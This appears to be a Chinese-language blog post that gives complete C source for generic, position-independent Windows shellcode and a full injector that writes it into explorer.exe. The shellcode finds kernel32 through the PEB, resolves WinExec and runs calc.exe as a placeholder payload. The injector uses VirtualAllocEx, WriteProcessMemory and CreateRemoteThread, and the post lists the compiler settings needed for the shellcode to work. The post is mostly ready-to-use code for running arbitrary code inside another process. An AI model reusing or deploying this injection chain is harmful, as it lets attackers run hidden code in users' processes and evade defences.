环三通用Shellcode
有时候因为某些原因不想注入dll到另外一个进程中,需要注入一段Shellcode到其他进程中
不过Shellcode编写和调试较又较为为复杂,这里提供一种通用的C实现的Shellcode方式
不过这个方式编译也又一个缺点:Shellcode体积比较大
如果追求小巧的话,还是需要汇编实现
编译的时候需要关闭以下选项,不然注入后的Shellcode会运行出错:
- C/C++ -> SDL检查: 否
- C/C++ -> 代码生成: 禁用安全检查 (/GS-)
- 链接 -> 常规 -> 启用增量链接: 否
核心代码:
typedef UINT(WINAPI *fnWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
#pragma optimize( "", off )
// 关闭运行时检查
#pragma runtime_checks( "scu", off )
DWORD WINAPI ShellcodeGeneric()
{
#ifdef _WIN64
PPEB lpPeb = (PPEB)__readgsqword(0x60);
#else
PPEB lpPeb = (PPEB)__readfsdword(0x30);
#endif
PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY pListEntry = pListHead->Flink;
WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' };
DWORD dwSizeKernel32 = sizeof(strKernel32) / sizeof(WCHAR);
// 寻找kernel32.dll
HANDLE hKernel32 = NULL;
while (pListEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
DWORD dwLen = pModEntry->FullDllName.Length;
if (dwLen == 0 || dwLen < dwSizeKernel32)
{
continue;
}
PWCHAR pszDllPath = pModEntry->FullDllName.Buffer;
for (DWORD i = 0; i < dwLen - dwSizeKernel32; i++)
{
BOOL bCampareSuccessed = TRUE;
for (DWORD j = 0; j < dwSizeKernel32; j++)
{
if (pszDllPath[i + j] != strKernel32[j])
{
bCampareSuccessed = FALSE;
break;
}
}
if (bCampareSuccessed)
{
hKernel32 = pModEntry->DllBase;
break;
}
}
if (hKernel32 != NULL)
{
break;
}
pListEntry = pListEntry->Flink;
}
if (hKernel32 == NULL)
{
return 0;
}
// 从导出表选出函数地址
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)((PCHAR)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)
((PCHAR)hKernel32 + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
LPDWORD pNameArray = (LPDWORD)((PCHAR)hKernel32 + pExportDir->AddressOfNames);
LPDWORD pAddrArray = (LPDWORD)((PCHAR)hKernel32 + pExportDir->AddressOfFunctions);
LPWORD pOrdArray = (LPWORD)((PCHAR)hKernel32 + pExportDir->AddressOfNameOrdinals);
CHAR strWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', 0x0 };
fnWinExec pfnWinExec = NULL;
for (UINT i = 0; i < pExportDir->NumberOfNames; i++)
{
if (pfnWinExec != NULL)
{
break;
}
PCHAR pFuncName = (PCHAR)((PCHAR)hKernel32 + pNameArray[i]);
BOOL bCampareSuccessed = TRUE;
for (DWORD j = 0; j < sizeof(strWinExec) + 1; j++)
{
if (pFuncName[j] != strWinExec[j])
{
bCampareSuccessed = FALSE;
break;
}
if (pFuncName[j] == 0x0)
{
break;
}
}
if (bCampareSuccessed)
{
pfnWinExec = (fnWinExec)((PCHAR)hKernel32 + pAddrArray[pOrdArray[i]]);
continue;
}
}
if (pfnWinExec != NULL)
{
CHAR szCmd[] = { 'C', 'a', 'l', 'c', '.', 'e', 'x', 'e', 0x0 };
pfnWinExec(szCmd, SW_SHOW);
}
return 0;
}
DWORD ShellcodeGenericEnd()
{
return GetTickCount();
}
#pragma optimize( "", on )
#pragma runtime_checks( "scu", on )
头文件:
#include <Windows.h>
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT * Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[1];
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PVOID PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG Checksum;
};
};
union
{
struct
{
ULONG TimeDateStamp;
};
struct
{
PVOID LoadedImports;
};
};
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
顺便加上一份注入Explorer的实现代码:
BOOL WINAPI InjectByShellcode(DWORD dwPid, PBYTE pShellcode, DWORD dwShellcodeSize, PBYTE pParam, DWORD dwParamSize)
{
HANDLE hProcess = NULL, hThread = NULL;;
PVOID pRemoteShellcode = NULL;
PVOID pRemoteParam = NULL;
BOOL bRet = FALSE;
do
{
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPid);
if (hProcess == NULL)
{
printf("InjectByShellcode OpenProcess err.\n");
break;
}
pRemoteShellcode = (PVOID)VirtualAllocEx(hProcess, NULL, dwShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pRemoteShellcode == NULL)
{
printf("InjectByShellcode VirtualAllocEx err.\n");
break;
}
if (!WriteProcessMemory(hProcess, pRemoteShellcode, (PVOID)pShellcode, dwShellcodeSize, NULL))
{
printf("InjectByShellcode WriteProcessMemory err1.\n");
break;
}
if (pParam != NULL && dwParamSize != 0)
{
pRemoteParam = (PVOID)VirtualAllocEx(hProcess, NULL, dwParamSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRemoteParam == NULL)
{
break;
}
if (!WriteProcessMemory(hProcess, pRemoteParam, (PVOID)pParam, dwParamSize, NULL))
{
printf("InjectByShellcode WriteProcessMemory err2.\n");
break;
}
}
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, pRemoteParam, 0, NULL);
if (hThread == NULL)
{
printf("InjectByShellcode CreateRemoteThread err.\n");
break;
}
bRet = TRUE;
} while (0);
if (hThread != NULL)
{
WaitForSingleObject(hThread, INFINITE);
}
if (hProcess != NULL)
{
if (pRemoteShellcode != NULL)
{
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
}
if (pRemoteParam != NULL)
{
VirtualFreeEx(hProcess, pRemoteParam, 0, MEM_RELEASE);
}
}
if (hThread != NULL)
{
CloseHandle(hThread);
}
if (hProcess)
{
CloseHandle(hProcess);
}
return bRet;
}
DWORD GetPidByName(PWCHAR szProcName)
{
HANDLE hSnap = NULL;
DWORD dwPid = 0;
do
{
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == NULL)
{
break;
}
PROCESSENTRY32 pe32 = { 0x00 };
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnap, &pe32))
{
break;
}
do
{
if (StrCmpI(pe32.szExeFile, szProcName) == 0)
{
dwPid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe32));
} while (FALSE);
if (hSnap != NULL)
{
CloseHandle(hSnap);
}
return dwPid;
}
int main()
{
UINT_PTR dwCodeSize = 0;
if ((UINT_PTR)ShellcodeGenericEnd > (UINT_PTR)ShellcodeGeneric)
{
dwCodeSize = (UINT_PTR)ShellcodeGenericEnd - (UINT_PTR)ShellcodeGeneric;
}
if (dwCodeSize == 0)
{
return FALSE;
}
DWORD dwPid = GetPidByName((PWCHAR)L"explorer.exe");
if (dwPid == NULL)
{
return 0;
}
printf("explorer Pid:%d\n", dwPid);
InjectByShellcode(dwPid, (PBYTE)ShellcodeGeneric, (DWORD)dwCodeSize, (PBYTE)NULL, 0);
getchar();
}
最终效果(win7 x64):
发表评论
要发表评论,您必须先登录。